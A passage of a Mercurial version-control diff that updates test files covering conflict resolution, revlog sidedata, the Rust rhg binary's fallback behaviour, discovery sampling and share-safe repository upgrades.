[{"ancestor_node": "2ed2a3912a0b24502043eae84ee4b279c18b90dd", "ancestor_path": "file1", "extras": [{"key": "ancestorlinknode", "value": "99726c03216e233810a2564cbc0adfe395007eac"}], "local_flags": "", "local_key": "60b27f004e454aca81b0480209cce5081ec52390", "local_path": "file1", "other_node": "6f4310b00b9a147241b071a60c28a650827fb03d", "other_path": "file1", "path": "file1", "state": "r"}, {"ancestor_node": "2ed2a3912a0b24502043eae84ee4b279c18b90dd", "ancestor_path": "file2", "extras": [{"key": "ancestorlinknode", "value": "99726c03216e233810a2564cbc0adfe395007eac"}], "local_flags": "", "local_key": "cb99b709a1978bd205ab9dfd4c5aaa1fc91c7523", "local_path": "file2", "other_node": "6f4310b00b9a147241b071a60c28a650827fb03d", "other_path": "file2", "path": "file2", "state": "u"}] + "files": [{"ancestor_node": "2ed2a3912a0b24502043eae84ee4b279c18b90dd", "ancestor_path": "file1", "extras": [{"key": "ancestorlinknode", "value": "99726c03216e233810a2564cbc0adfe395007eac"}, {"key": "merged", "value": "yes"}], "local_flags": "", "local_key": "60b27f004e454aca81b0480209cce5081ec52390", "local_path": "file1", "other_node": "6f4310b00b9a147241b071a60c28a650827fb03d", "other_path": "file1", "path": "file1", "state": "r"}, {"ancestor_node": "2ed2a3912a0b24502043eae84ee4b279c18b90dd", "ancestor_path": "file2", "extras": [{"key": "ancestorlinknode", "value": "99726c03216e233810a2564cbc0adfe395007eac"}, {"key": "merged", "value": "yes"}], "local_flags": "", "local_key": "cb99b709a1978bd205ab9dfd4c5aaa1fc91c7523", "local_path": "file2", "other_node": "6f4310b00b9a147241b071a60c28a650827fb03d", "other_path": "file2", "path": "file2", "state": "u"}] } ] @@ -344,6 +346,24 @@ $ hg resolve -l R file1 R file2 +Test with :mergediff conflict markers + $ hg resolve --unmark + $ hg resolve --re-merge -t :mergediff file2 + merging file2 + warning: conflicts while merging file2! (edit, then use 'hg resolve --mark') + [1] + $ hg resolve -l + U file1 + U file2 + $ hg --config commands.resolve.mark-check=abort resolve -m + warning: the following files still have conflict markers: + file2 + abort: conflict markers detected + (use --all to mark anyway) + [20] + $ hg resolve -l + U file1 + U file2 Test option value 'warn' $ hg resolve --unmark $ hg resolve -l diff -r bc268ea9f984 -r f67b8946bb1b tests/test-revlog-raw.py --- a/tests/test-revlog-raw.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-revlog-raw.py Tue Apr 20 11:01:06 2021 -0400 @@ -51,10 +51,10 @@ def readprocessor(self, rawtext): # True: the returned text could be used to verify hash text = rawtext[len(_extheader) :].replace(b'i', b'1') - return text, True, {} + return text, True -def writeprocessor(self, text, sidedata): +def writeprocessor(self, text): # False: the returned rawtext shouldn't be used to verify hash rawtext = _extheader + text.replace(b'1', b'i') return rawtext, False @@ -147,6 +147,7 @@ b'flags': rlog.flags(r), b'deltabase': rlog.node(deltaparent), b'delta': rlog.revdiff(deltaparent, r), + b'sidedata': rlog.sidedata(r), } def deltaiter(self): @@ -159,10 +160,11 @@ deltabase = chunkdata[b'deltabase'] delta = chunkdata[b'delta'] flags = chunkdata[b'flags'] + sidedata = chunkdata[b'sidedata'] chain = node - yield (node, p1, p2, cs, deltabase, delta, flags) + yield (node, p1, p2, cs, deltabase, delta, flags, sidedata) def linkmap(lnode): return rlog.rev(lnode) @@ -293,7 +295,7 @@ # Verify text, rawtext, and rawsize if isext: - rawtext = writeprocessor(None, text, {})[0] + rawtext = writeprocessor(None, text)[0] else: rawtext = text if rlog.rawsize(rev) != len(rawtext): diff -r bc268ea9f984 -r f67b8946bb1b tests/test-revlog-v2.t --- a/tests/test-revlog-v2.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-revlog-v2.t Tue Apr 20 11:01:06 2021 -0400 @@ -22,8 +22,10 @@ $ cd empty-repo $ cat .hg/requires dotencode - exp-revlogv2.1 + exp-revlogv2.2 fncache + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-revlog.t --- a/tests/test-revlog.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-revlog.t Tue Apr 20 11:01:06 2021 -0400 @@ -22,10 +22,10 @@ Unknown version is rejected >>> with open('.hg/store/00changelog.i', 'wb') as fh: - ... fh.write(b'\x00\x00\x00\x02') and None + ... fh.write(b'\x00\x00\xbe\xef') and None $ hg log - abort: unknown version (2) in revlog 00changelog.i + abort: unknown version (48879) in revlog 00changelog.i [50] $ cd .. diff -r bc268ea9f984 -r f67b8946bb1b tests/test-revset.t --- a/tests/test-revset.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-revset.t Tue Apr 20 11:01:06 2021 -0400 @@ -3108,3 +3108,18 @@ $ log 'expectsize(0:2, :2)' abort: revset size mismatch. expected between 0 and 2, got 3 [255] + +Test getting list of node from file + + $ hg log -r '0:2' -T '{node}\n' > some.nodes + $ hg log -r 'nodefromfile("some.nodes")' -T '{rev}\n' + 0 + 1 + 2 + $ hg log -r 'nodefromfile("missing-file")' -T '{rev}\n' + abort: cannot open nodes file "missing-file": $ENOENT$ + [255] + $ echo bad-node > bad.nodes + $ hg log -r 'nodefromfile("bad.nodes")' -T '{rev}\n' + $ echo abcdefabcdefabcdeabcdeabcdeabcdeabcdeabc > missing.nodes + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rhg.t --- a/tests/test-rhg.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rhg.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,43 +1,50 @@ -#require rust +#require rhg -Define an rhg function that will only run if rhg exists - $ rhg() { - > if [ -f "$RUNTESTDIR/../rust/target/release/rhg" ]; then - > "$RUNTESTDIR/../rust/target/release/rhg" "$@" - > else - > echo "skipped: Cannot find rhg. Try to run cargo build in rust/rhg." - > exit 80 - > fi - > } + $ NO_FALLBACK="env RHG_ON_UNSUPPORTED=abort" Unimplemented command - $ rhg unimplemented-command - error: Found argument 'unimplemented-command' which wasn't expected, or isn't valid in this context + $ $NO_FALLBACK rhg unimplemented-command + unsupported feature: error: Found argument 'unimplemented-command' which wasn't expected, or isn't valid in this context USAGE: - rhg + rhg [OPTIONS] For more information try --help + + [252] + $ rhg unimplemented-command --config rhg.on-unsupported=abort-silent [252] Finding root - $ rhg root + $ $NO_FALLBACK rhg root abort: no repository found in '$TESTTMP' (.hg not found)! [255] $ hg init repository $ cd repository - $ rhg root + $ $NO_FALLBACK rhg root $TESTTMP/repository +Reading and setting configuration + $ echo "[ui]" >> $HGRCPATH + $ echo "username = user1" >> $HGRCPATH + $ $NO_FALLBACK rhg config ui.username + user1 + $ echo "[ui]" >> .hg/hgrc + $ echo "username = user2" >> .hg/hgrc + $ $NO_FALLBACK rhg config ui.username + user2 + $ $NO_FALLBACK rhg --config ui.username=user3 config ui.username + user3 + Unwritable file descriptor - $ rhg root > /dev/full + $ $NO_FALLBACK rhg root > /dev/full abort: No space left on device (os error 28) [255] Deleted repository $ rm -rf `pwd` - $ rhg root + $ $NO_FALLBACK rhg root abort: error getting current working directory: $ENOENT$ [255] @@ -52,7 +59,7 @@ > hg commit -m "commit $i" -q Listing tracked files from root - $ rhg files + $ $NO_FALLBACK rhg files file1 file2 file3 @@ -60,13 +67,13 @@ Listing tracked files from subdirectory $ mkdir -p path/to/directory $ cd path/to/directory - $ rhg files + $ $NO_FALLBACK rhg files ../../../file1 ../../../file2 ../../../file3 Listing tracked files through broken pipe - $ rhg files | head -n 1 + $ $NO_FALLBACK rhg files | head -n 1 ../../../file1 Debuging data in inline index @@ -79,20 +86,20 @@ > hg add file-$i > hg commit -m "Commit $i" -q > done - $ rhg debugdata -c 2 + $ $NO_FALLBACK rhg debugdata -c 2 8d0267cb034247ebfa5ee58ce59e22e57a492297 test 0 0 file-3 Commit 3 (no-eol) - $ rhg debugdata -m 2 + $ $NO_FALLBACK rhg debugdata -m 2 file-1\x00b8e02f6433738021a065f94175c7cd23db5f05be (esc) file-2\x005d9299349fc01ddd25d0070d149b124d8f10411e (esc) file-3\x002661d26c649684b482d10f91960cc3db683c38b4 (esc) Debuging with full node id - $ rhg debugdata -c `hg log -r 0 -T '{node}'` + $ $NO_FALLBACK rhg debugdata -c `hg log -r 0 -T '{node}'` d1d1c679d3053e8926061b6f45ca52009f011e3f test 0 0 @@ -108,16 +115,16 @@ cf8b83f14ead62b374b6e91a0e9303b85dfd9ed7 91c6f6e73e39318534dc415ea4e8a09c99cd74d6 6ae9681c6d30389694d8701faf24b583cf3ccafe - $ rhg files -r cf8b83 + $ $NO_FALLBACK rhg files -r cf8b83 file-1 file-2 file-3 - $ rhg cat -r cf8b83 file-2 + $ $NO_FALLBACK rhg cat -r cf8b83 file-2 2 - $ rhg cat -r c file-2 - abort: ambiguous revision identifier c + $ $NO_FALLBACK rhg cat -r c file-2 + abort: ambiguous revision identifier: c [255] - $ rhg cat -r d file-2 + $ $NO_FALLBACK rhg cat -r d file-2 2 Cat files @@ -128,50 +135,77 @@ $ echo "original content" > original $ hg add original $ hg commit -m "add original" original - $ rhg cat -r 0 original + $ $NO_FALLBACK rhg cat -r 0 original original content Cat copied file should not display copy metadata $ hg copy original copy_of_original $ hg commit -m "add copy of original" - $ rhg cat -r 1 copy_of_original + $ $NO_FALLBACK rhg cat -r 1 copy_of_original + original content + +Fallback to Python + $ $NO_FALLBACK rhg cat original + unsupported feature: `rhg cat` without `--rev` / `-r` + [252] + $ rhg cat original original content + $ FALLBACK_EXE="$RHG_FALLBACK_EXECUTABLE" + $ unset RHG_FALLBACK_EXECUTABLE + $ rhg cat original + abort: 'rhg.on-unsupported=fallback' without 'rhg.fallback-executable' set. + [255] + $ RHG_FALLBACK_EXECUTABLE="$FALLBACK_EXE" + $ export RHG_FALLBACK_EXECUTABLE + + $ rhg cat original --config rhg.fallback-executable=false + [1] + + $ rhg cat original --config rhg.fallback-executable=hg-non-existent + tried to fall back to a 'hg-non-existent' sub-process but got error $ENOENT$ + unsupported feature: `rhg cat` without `--rev` / `-r` + [252] + + $ rhg cat original --config rhg.fallback-executable=rhg + Blocking recursive fallback. The 'rhg.fallback-executable = rhg' config points to `rhg` itself. + unsupported feature: `rhg cat` without `--rev` / `-r` + [252] + Requirements - $ rhg debugrequirements + $ $NO_FALLBACK rhg debugrequirements dotencode fncache generaldelta + persistent-nodemap + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store $ echo indoor-pool >> .hg/requires - $ rhg files + $ $NO_FALLBACK rhg files + unsupported feature: repository requires feature unknown to this Mercurial: indoor-pool [252] - $ rhg cat -r 1 copy_of_original + $ $NO_FALLBACK rhg cat -r 1 copy_of_original + unsupported feature: repository requires feature unknown to this Mercurial: indoor-pool [252] - $ rhg debugrequirements - dotencode - fncache - generaldelta - revlogv1 - sparserevlog - store - indoor-pool + $ $NO_FALLBACK rhg debugrequirements + unsupported feature: repository requires feature unknown to this Mercurial: indoor-pool + [252] $ echo -e '\xFF' >> .hg/requires - $ rhg debugrequirements - abort: .hg/requires is corrupted + $ $NO_FALLBACK rhg debugrequirements + abort: parse error in 'requires' file [255] Persistent nodemap $ cd $TESTTMP $ rm -rf repository - $ hg init repository + $ hg --config format.use-persistent-nodemap=no init repository $ cd repository - $ rhg debugrequirements | grep nodemap + $ $NO_FALLBACK rhg debugrequirements | grep nodemap [1] $ hg debugbuilddag .+5000 --overwritten-file --config "storage.revlog.nodemap.mode=warn" $ hg id -r tip @@ -179,14 +213,14 @@ $ ls .hg/store/00changelog* .hg/store/00changelog.d .hg/store/00changelog.i - $ rhg files -r c3ae8dec9fad + $ $NO_FALLBACK rhg files -r c3ae8dec9fad of $ cd $TESTTMP $ rm -rf repository $ hg --config format.use-persistent-nodemap=True init repository $ cd repository - $ rhg debugrequirements | grep nodemap + $ $NO_FALLBACK rhg debugrequirements | grep nodemap persistent-nodemap $ hg debugbuilddag .+5000 --overwritten-file --config "storage.revlog.nodemap.mode=warn" $ hg id -r tip @@ -198,7 +232,78 @@ .hg/store/00changelog.n Specifying revisions by changeset ID - $ rhg files -r c3ae8dec9fad + $ $NO_FALLBACK rhg files -r c3ae8dec9fad of - $ rhg cat -r c3ae8dec9fad of + $ $NO_FALLBACK rhg cat -r c3ae8dec9fad of r5000 + +Crate a shared repository + + $ echo "[extensions]" >> $HGRCPATH + $ echo "share = " >> $HGRCPATH + + $ cd $TESTTMP + $ hg init repo1 + $ echo a > repo1/a + $ hg -R repo1 commit -A -m'init' + adding a + + $ hg share repo1 repo2 + updating working directory + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +And check that basic rhg commands work with sharing + + $ $NO_FALLBACK rhg files -R repo2 + repo2/a + $ $NO_FALLBACK rhg -R repo2 cat -r 0 repo2/a + a + +Same with relative sharing + + $ hg share repo2 repo3 --relative + updating working directory + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + + $ $NO_FALLBACK rhg files -R repo3 + repo3/a + $ $NO_FALLBACK rhg -R repo3 cat -r 0 repo3/a + a + +Same with share-safe + + $ echo "[format]" >> $HGRCPATH + $ echo "use-share-safe = True" >> $HGRCPATH + + $ cd $TESTTMP + $ hg init repo4 + $ cd repo4 + $ echo a > a + $ hg commit -A -m'init' + adding a + + $ cd .. + $ hg share repo4 repo5 + updating working directory + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +And check that basic rhg commands work with sharing + + $ cd repo5 + $ $NO_FALLBACK rhg files + a + $ $NO_FALLBACK rhg cat -r 0 a + a + +The blackbox extension is supported + + $ echo "[extensions]" >> $HGRCPATH + $ echo "blackbox =" >> $HGRCPATH + $ echo "[blackbox]" >> $HGRCPATH + $ echo "maxsize = 1" >> $HGRCPATH + $ $NO_FALLBACK rhg files > /dev/null + $ cat .hg/blackbox.log + ????/??/?? ??:??:??.??? * @d3873e73d99ef67873dac33fbcc66268d5d2b6f4 (*)> (rust) files exited 0 after 0.??? seconds (glob) + $ cat .hg/blackbox.log.1 + ????/??/?? ??:??:??.??? * @d3873e73d99ef67873dac33fbcc66268d5d2b6f4 (*)> (rust) files (glob) + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-rollback.t --- a/tests/test-rollback.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-rollback.t Tue Apr 20 11:01:06 2021 -0400 @@ -103,7 +103,7 @@ transaction abort! rollback completed abort: pretxncommit hook exited with status * (glob) - [255] + [40] $ cat .hg/last-message.txt ; echo precious commit message @@ -118,7 +118,7 @@ note: commit message saved in .hg/last-message.txt note: use 'hg commit --logfile .hg/last-message.txt --edit' to reuse it abort: pretxncommit hook exited with status * (glob) - [255] + [40] $ cat .hg/last-message.txt another precious commit message @@ -380,7 +380,7 @@ warn during abort rollback completed abort: pretxncommit hook exited with status 1 - [255] + [40] $ hg commit -m 'commit 1' warn during pretxncommit @@ -405,7 +405,7 @@ transaction abort! rollback completed abort: pretxncommit hook exited with status 1 - [255] + [40] $ hg commit -m 'commit 1' warn during pretxncommit @@ -431,7 +431,7 @@ transaction abort! warn during abort abort: pretxncommit hook exited with status 1 - [255] + [40] $ hg verify checking changesets diff -r bc268ea9f984 -r f67b8946bb1b tests/test-setdiscovery.t --- a/tests/test-setdiscovery.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-setdiscovery.t Tue Apr 20 11:01:06 2021 -0400 @@ -1328,25 +1328,25 @@ updating to branch b 0 files updated, 0 files merged, 0 files removed, 0 files unresolved - $ hg -R a debugdiscovery b --debug --verbose --config progress.debug=true --config devel.discovery.randomize=false + $ hg -R a debugdiscovery b --debug --verbose --config progress.debug=true --config devel.discovery.randomize=false --config devel.discovery.sample-size.initial=50 comparing with b query 1; heads searching for changes taking quick initial sample searching: 2 queries - query 2; still undecided: 1080, sample size is: 100 + query 2; still undecided: 1080, sample size is: 50 sampling from both directions searching: 3 queries - query 3; still undecided: 980, sample size is: 200 + query 3; still undecided: 1030, sample size is: 200 sampling from both directions searching: 4 queries - query 4; still undecided: 497, sample size is: 210 + query 4; still undecided: 547, sample size is: 210 sampling from both directions searching: 5 queries - query 5; still undecided: 285, sample size is: 220 + query 5; still undecided: 336, sample size is: 220 sampling from both directions searching: 6 queries - query 6; still undecided: 63, sample size is: 63 + query 6; still undecided: 114, sample size is: 114 6 total queries in *.????s (glob) elapsed time: * seconds (glob) round-trips: 6 @@ -1412,22 +1412,30 @@ missing: 1040 common heads: 3ee37d65064a - $ hg -R a debugdiscovery b --debug --config devel.discovery.exchange-heads=false --config devel.discovery.randomize=false --config devel.discovery.grow-sample.rate=1.01 + $ hg -R a debugdiscovery b --debug --config devel.discovery.exchange-heads=false --config devel.discovery.randomize=false --config devel.discovery.grow-sample.rate=1.20 --config devel.discovery.sample-size=50 comparing with b searching for changes sampling from both directions - query 1; still undecided: 1340, sample size is: 200 + query 1; still undecided: 1340, sample size is: 50 + sampling from both directions + query 2; still undecided: 995, sample size is: 60 sampling from both directions - query 2; still undecided: 795, sample size is: 202 + query 3; still undecided: 913, sample size is: 72 sampling from both directions - query 3; still undecided: 525, sample size is: 204 + query 4; still undecided: 816, sample size is: 204 + sampling from both directions + query 5; still undecided: 612, sample size is: 153 sampling from both directions - query 4; still undecided: 252, sample size is: 206 + query 6; still undecided: 456, sample size is: 123 + sampling from both directions + query 7; still undecided: 332, sample size is: 147 sampling from both directions - query 5; still undecided: 44, sample size is: 44 - 5 total queries in *s (glob) - elapsed time: * seconds (glob) - round-trips: 5 + query 8; still undecided: 184, sample size is: 176 + sampling from both directions + query 9; still undecided: 8, sample size is: 8 + 9 total queries in *s (glob) + elapsed time: * seconds (glob) + round-trips: 9 heads summary: total common heads: 1 also local heads: 0 @@ -1580,3 +1588,175 @@ common: 0 missing: 1 common heads: 66f7d451a68b + + $ cd .. + + +Test debuging discovery using different subset of the same repository +===================================================================== + +remote is a local subset +------------------------ + +remote will be last 25 heads of the local graph + + $ cd $TESTTMP/manyheads + $ hg -R a debugdiscovery \ + > --debug \ + > --remote-as-revs 'last(heads(all()), 25)' \ + > --config devel.discovery.randomize=false + query 1; heads + searching for changes + all remote heads known locally + elapsed time: * seconds (glob) + round-trips: 1 + heads summary: + total common heads: 25 + also local heads: 25 + also remote heads: 25 + both: 25 + local heads: 260 + common: 25 + missing: 235 + remote heads: 25 + common: 25 + unknown: 0 + local changesets: 1340 + common: 400 + heads: 25 + roots: 1 + missing: 940 + heads: 235 + roots: 235 + first undecided set: 940 + heads: 235 + roots: 235 + common: 0 + missing: 940 + common heads: 0dfd965d91c6 0fe09b60448d 14a17233ce9d 175c0a3072cf 1c51e2c80832 1e51600e0698 24eb5f9bdbab 25ce09526613 36bd00abde57 426989fdefa0 596d87362679 5dd1039ea5c0 5ef24f022278 5f230dc19419 80b39998accb 88f40688ffb5 9e37ddf8c632 abf4d55b075e b2ce801fddfe b368b6ac3ce3 c959bf2e869c c9fba6ba4e2e d783207cf649 d9a51e256f21 e3717a4e3753 + +local is a local subset +------------------------ + +remote will be last 25 heads of the local graph + + $ cd $TESTTMP/manyheads + $ hg -R a debugdiscovery b \ + > --debug \ + > --local-as-revs 'first(heads(all()), 25)' \ + > --config devel.discovery.randomize=false + comparing with b + query 1; heads + searching for changes + taking quick initial sample + query 2; still undecided: 375, sample size is: 81 + sampling from both directions + query 3; still undecided: 3, sample size is: 3 + 3 total queries *s (glob) + elapsed time: * seconds (glob) + round-trips: 3 + heads summary: + total common heads: 1 + also local heads: 0 + also remote heads: 0 + both: 0 + local heads: 25 + common: 0 + missing: 25 + remote heads: 1 + common: 0 + unknown: 1 + local changesets: 400 + common: 300 + heads: 1 + roots: 1 + missing: 100 + heads: 25 + roots: 25 + first undecided set: 400 + heads: 25 + roots: 1 + common: 300 + missing: 100 + common heads: 3ee37d65064a + +both local and remove are subset +------------------------ + +remote will be last 25 heads of the local graph + + $ cd $TESTTMP/manyheads + $ hg -R a debugdiscovery \ + > --debug \ + > --local-as-revs 'first(heads(all()), 25)' \ + > --remote-as-revs 'last(heads(all()), 25)' \ + > --config devel.discovery.randomize=false + query 1; heads + searching for changes + taking quick initial sample + query 2; still undecided: 375, sample size is: 81 + sampling from both directions + query 3; still undecided: 3, sample size is: 3 + 3 total queries in *s (glob) + elapsed time: * seconds (glob) + round-trips: 3 + heads summary: + total common heads: 1 + also local heads: 0 + also remote heads: 0 + both: 0 + local heads: 25 + common: 0 + missing: 25 + remote heads: 25 + common: 0 + unknown: 25 + local changesets: 400 + common: 300 + heads: 1 + roots: 1 + missing: 100 + heads: 25 + roots: 25 + first undecided set: 400 + heads: 25 + roots: 1 + common: 300 + missing: 100 + common heads: 3ee37d65064a + +Test -T json output +------------------- + + $ hg -R a debugdiscovery \ + > -T json \ + > --debug \ + > --local-as-revs 'first(heads(all()), 25)' \ + > --remote-as-revs 'last(heads(all()), 25)' \ + > --config devel.discovery.randomize=false + [ + { + "elapsed": *, (glob) + "nb-common-heads": 1, + "nb-common-heads-both": 0, + "nb-common-heads-local": 0, + "nb-common-heads-remote": 0, + "nb-common-roots": 1, + "nb-head-local": 25, + "nb-head-local-missing": 25, + "nb-head-remote": 25, + "nb-head-remote-unknown": 25, + "nb-ini_und": 400, + "nb-ini_und-common": 300, + "nb-ini_und-heads": 25, + "nb-ini_und-missing": 100, + "nb-ini_und-roots": 1, + "nb-missing-heads": 25, + "nb-missing-roots": 25, + "nb-revs": 400, + "nb-revs-common": 300, + "nb-revs-missing": 100, + "output": "query 1; heads\nsearching for changes\ntaking quick initial sample\nquery 2; still undecided: 375, sample size is: 81\nsampling from both directions\nquery 3; still undecided: 3, sample size is: 3\n3 total queries in *s\n", (glob) + "total-roundtrips": 3 + } + ] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-share-bookmarks.t --- a/tests/test-share-bookmarks.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-share-bookmarks.t Tue Apr 20 11:01:06 2021 -0400 @@ -102,7 +102,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] $ hg book bm1 FYI, in contrast to above test, bmX is invisible in repo1 (= shared @@ -127,7 +127,7 @@ transaction abort! rollback completed abort: pretxnclose hook exited with status 1 - [255] + [40] $ hg book bm3 clean up bm2 since it's uninteresting (not shared in the vfs case and @@ -249,7 +249,7 @@ no changes found adding remote bookmark bm3 abort: forced failure by extension - [255] + [40] $ hg boo bm1 3:b87954705719 bm4 5:92793bfc8cad diff -r bc268ea9f984 -r f67b8946bb1b tests/test-share-safe.t --- a/tests/test-share-safe.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-share-safe.t Tue Apr 20 11:01:06 2021 -0400 @@ -7,6 +7,11 @@ > use-share-safe = True > [storage] > revlog.persistent-nodemap.slow-path=allow + > # enforce zlib to ensure we can upgrade to zstd later + > [format] + > revlog-compression=zlib + > # we want to be able to enable it later + > use-persistent-nodemap=no > EOF prepare source repo @@ -352,18 +357,27 @@ - changelog - manifest - $ hg debugupgraderepo --run -q + $ hg debugupgraderepo --run upgrade will perform the following actions: requirements preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store added: share-safe + share-safe + Upgrades a repository to share-safe format so that future shares of this repository share its requirements and configs. + processed revlogs: - all-filelogs - changelog - manifest + beginning upgrade... + repository locked and read-only + creating temporary repository to stage upgraded data: $TESTTMP/non-share-safe/.hg/upgrade.* (glob) + (it is safe to interrupt this process any time before data migration completes) + upgrading repository requirements + removing temporary repository $TESTTMP/non-share-safe/.hg/upgrade.* (glob) repository upgraded to share safe mode, existing shares will still work in old non-safe mode. Re-share existing shares to use them in safe mode New shares will be created in safe mode. $ hg debugrequirements @@ -433,7 +447,7 @@ - changelog - manifest - $ hg debugupgraderepo -q --run + $ hg debugupgraderepo --run upgrade will perform the following actions: requirements @@ -445,6 +459,12 @@ - changelog - manifest + beginning upgrade... + repository locked and read-only + creating temporary repository to stage upgraded data: $TESTTMP/non-share-safe/.hg/upgrade.* (glob) + (it is safe to interrupt this process any time before data migration completes) + upgrading repository requirements + removing temporary repository $TESTTMP/non-share-safe/.hg/upgrade.* (glob) repository downgraded to not use share safe mode, existing shares will not work and needs to be reshared. $ hg debugrequirements diff -r bc268ea9f984 -r f67b8946bb1b tests/test-sidedata-exchange.t --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/test-sidedata-exchange.t Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,473 @@ +=========================== +Tests for sidedata exchange +=========================== + +Check simple exchange behavior +============================== + +Pusher and pushed have sidedata enabled +--------------------------------------- + + $ hg init sidedata-source --config format.exp-use-side-data=yes + $ cat << EOF >> sidedata-source/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata-5.py + > EOF + $ hg init sidedata-target --config format.exp-use-side-data=yes + $ cat << EOF >> sidedata-target/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata-5.py + > EOF + $ cd sidedata-source + $ echo a > a + $ echo b > b + $ echo c > c + $ hg commit -Am "initial" + adding a + adding b + adding c + $ echo aa > a + $ hg commit -m "other" + $ hg push -r . ../sidedata-target + pushing to ../sidedata-target + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 4 changes to 3 files + $ hg -R ../sidedata-target debugsidedata -c 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg -R ../sidedata-target debugsidedata -c 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x00:' + entry-0002 size 32 + '\xa3\xee4v\x99\x85$\x9f\x1f\x8dKe\x0f\xc3\x9d-\xc9\xb5%[\x15=h\xe9\xf2O\xb5\xd9\x1f*\xff\xe5' + $ hg -R ../sidedata-target debugsidedata -m 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg -R ../sidedata-target debugsidedata -m 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x00\x81' + entry-0002 size 32 + '-bL\xc5\xa4uu"#\xac\x1b`,\xc0\xbc\x9d\xf5\xac\xf0\x1d\x89)2\xf8N\xb1\x14m\xce\xd7\xbc\xae' + $ hg -R ../sidedata-target debugsidedata a 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg -R ../sidedata-target debugsidedata a 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x00\x03' + entry-0002 size 32 + '\xd9\xcd\x81UvL5C\xf1\x0f\xad\x8aH\rt17Fo\x8dU!<\x8e\xae\xfc\xd1/\x06\xd4:\x80' + $ cd .. + +Puller and pulled have sidedata enabled +--------------------------------------- + + $ rm -rf sidedata-source sidedata-target + $ hg init sidedata-source --config format.exp-use-side-data=yes + $ cat << EOF >> sidedata-source/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata-5.py + > EOF + $ hg init sidedata-target --config format.exp-use-side-data=yes + $ cat << EOF >> sidedata-target/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata-5.py + > EOF + $ cd sidedata-source + $ echo a > a + $ echo b > b + $ echo c > c + $ hg commit -Am "initial" + adding a + adding b + adding c + $ echo aa > a + $ hg commit -m "other" + $ hg pull -R ../sidedata-target ../sidedata-source + pulling from ../sidedata-source + requesting all changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 4 changes to 3 files + new changesets 05da661850d7:7ec8b4049447 + (run 'hg update' to get a working copy) + $ hg -R ../sidedata-target debugsidedata -c 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg -R ../sidedata-target debugsidedata -c 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x00:' + entry-0002 size 32 + '\xa3\xee4v\x99\x85$\x9f\x1f\x8dKe\x0f\xc3\x9d-\xc9\xb5%[\x15=h\xe9\xf2O\xb5\xd9\x1f*\xff\xe5' + $ hg -R ../sidedata-target debugsidedata -m 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg -R ../sidedata-target debugsidedata -m 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x00\x81' + entry-0002 size 32 + '-bL\xc5\xa4uu"#\xac\x1b`,\xc0\xbc\x9d\xf5\xac\xf0\x1d\x89)2\xf8N\xb1\x14m\xce\xd7\xbc\xae' + $ hg -R ../sidedata-target debugsidedata a 0 + 2 sidedata entries + entry-0001 size 4 + entry-0002 size 32 + $ hg -R ../sidedata-target debugsidedata a 1 -v + 2 sidedata entries + entry-0001 size 4 + '\x00\x00\x00\x03' + entry-0002 size 32 + '\xd9\xcd\x81UvL5C\xf1\x0f\xad\x8aH\rt17Fo\x8dU!<\x8e\xae\xfc\xd1/\x06\xd4:\x80' + $ cd .. + +Now on to asymmetric configs. + +Pusher has sidedata enabled, pushed does not +-------------------------------------------- + + $ rm -rf sidedata-source sidedata-target + $ hg init sidedata-source --config format.exp-use-side-data=yes + $ cat << EOF >> sidedata-source/.hg/hgrc + > [extensions] + > testsidedata=$TESTDIR/testlib/ext-sidedata-5.py + > EOF + $ hg init sidedata-target --config format.exp-use-side-data=no + $ cd sidedata-source + $ echo a > a + $ echo b > b + $ echo c > c + $ hg commit -Am "initial" + adding a + adding b + adding c + $ echo aa > a + $ hg commit -m "other" + $ hg push -r . ../sidedata-target --traceback + pushing to ../sidedata-target + searching for changes + adding changesets + adding manifests + adding file changes + added 2 changesets with 4 changes to 3 files + $ hg -R ../sidedata-target log -G + o changeset: 1:7ec8b4049447 + | tag: tip + | user: test + | date: Thu Jan 01 00:00:00 1970 +0000 + | summary: other + | + o changeset: 0:05da661850d7 + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: initial + + + $ hg -R ../sidedata-target debugsidedata -c 0 + $ hg -R ../sidedata-target debugsidedata -c 1 -v + $ hg -R 